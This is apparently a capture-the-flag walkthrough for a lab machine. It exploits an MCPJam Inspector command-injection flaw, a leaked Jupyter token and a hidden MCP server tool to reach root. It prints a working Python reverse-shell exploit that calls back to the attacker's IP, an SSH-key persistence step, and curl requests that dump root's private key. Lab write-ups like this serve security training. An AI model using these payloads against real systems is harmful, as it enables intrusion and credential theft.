Machine Info
| Field | Details |
|---|---|
| Name | DevHub |
| OS | Linux (Ubuntu 22.04.5) |
| Difficulty | Medium |
Enumeration
Nmap Scan
nmap -sC -sV -p- 10.129.59.202
| Port | Service |
|---|---|
| 22 | SSH |
| 80 | HTTP (nginx) |
| 6274 | Node.js (MCPJam Inspector) |
Port 6274 - MCPJam Inspector
Port 6274 runs @mcpjam/[email protected], a Node.js implementation of the Model Context Protocol. A quick search turns up CVE-2026-23744 — The inspector binds to 0.0.0.0 by default and the /api/mcp/connect endpoint takes command and args from the request body with zero validation, passing them straight to a child process. No auth required. Patched in 1.4.3, but this box is running 1.4.2.
Initial Foothold - mcp-dev
Exploitation
Poking at the MCPJam Inspector API, there’s a /api/mcp/connect endpoint that accepts a serverConfig object. The idea is that you’re telling it how to spawn an MCP server - but there’s no validation on the command. So we just… give it a reverse shell.
Set up a listener:
nc -lvnp 4444
Then fire the exploit:
import requests
import time
target = "http://10.129.59.202:6274"
ip = "10.10.16.157" # your HTB tun0 IP - change this to match yours
port = "4444"
url = f'{target}/api/mcp/connect'
data = {
"serverConfig": {
"command": "python3",
"args": [
"-c",
f"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{ip}',{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"
],
"env": {}
},
"serverId": "pwned"
}
print("[*] Sending reverse shell payload...")
response = requests.post(url, json=data, verify=False)
print(f"[*] Status: {response.status_code}")
print(f"[*] Response: {response.text}")
print("[*] Check your listener - press Ctrl+C to exit")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] Exiting...")
Shell lands as mcp-dev.
mcp-dev@devhub:~$
Capabilities Check
getcap -r / 2>/dev/null
Checked for any binaries with elevated capabilities - nothing came back. Moving on.
What’s Running?
Now that we’re on the box, ps aux is the next thing to check. The full process list is visible across all users, and there are two interesting entries:
analyst 1078 jupyter-lab --ip=127.0.0.1 --port=8888
--ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
--notebook-dir=/home/analyst/notebooks
root 1084 /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
Two things worth noting here - sit with them for a moment before reading on.
The Jupyter token is sitting in plain text in the process arguments. And root is running something out of analyst’s home directory. Both of those are going to matter.
Getting SSH Access for Tunneling
Jupyter is bound to 127.0.0.1:8888 - not reachable directly. We need an SSH tunnel, which means getting SSH access as mcp-dev first. No .ssh directory exists yet, so we create one and drop in our public key:
mkdir -p ~/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@machine" >> ~/.ssh/authorized_keys # use your public id here.
chmod 600 ~/.ssh/authorized_keys
Then from the attacker machine, forward the port:
ssh -L 8888:127.0.0.1:8888 [email protected]
Lateral Movement - analyst
Jupyter Lab
With the tunnel up, open http://localhost:8888 in a browser. It asks for a token or a password - we already have the token from ps aux:
a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
We’re in. Open a terminal from within Jupyter Lab:
analyst@devhub:~$ whoami
analyst
User flag is in the home dir.
Reading the OPSMCP Server
Remember that root process running server.py out of analyst’s directory? The file is readable:
cat /opt/opsmcp/server.py
Reading through it reveals:
- An API key hardcoded in the source
- A
/tools/listendpoint that only returns some tools - A
/tools/callendpoint that accepts all tools - including ones not listed
The server is on 127.0.0.1:5000.
Privilege Escalation - root
Mapping the API
curl -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" http://127.0.0.1:5000/
{
"endpoints": ["/tools/list", "/tools/call", "/health"],
"server": "OPSMCP",
"status": "operational"
}
curl -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" http://127.0.0.1:5000/tools/list
Four tools come back. But from reading server.py, we know there’s a fifth one that isn’t listed - ops._admin_dump. It takes a target argument and a confirm boolean.
Calling the Hidden Tool
The exact parameter names matter here - name and arguments.
curl -X POST \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-H "Content-Type: application/json" \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}' \
http://127.0.0.1:5000/tools/call
{
"target": "ssh_keys",
"root_private_key": "-----BEGIN OPENSSH PRIVATE KEY-----\n...",
"note": "Emergency recovery key dump"
}
Root Shell
echo "-----BEGIN OPENSSH PRIVATE KEY-----..." > root_key
chmod 600 root_key
ssh -i root_key [email protected]
root@devhub:~# id
uid=0(root) gid=0(root) groups=0(root)
The Chain
MCPJam RCE (port 6274)
↓
mcp-dev
↓
Jupyter token in ps aux → SSH tunnel → Jupyter web interface
↓
analyst
↓
OPSMCP API key in server.py → hidden ops._admin_dump tool
↓
Root SSH private key
↓
root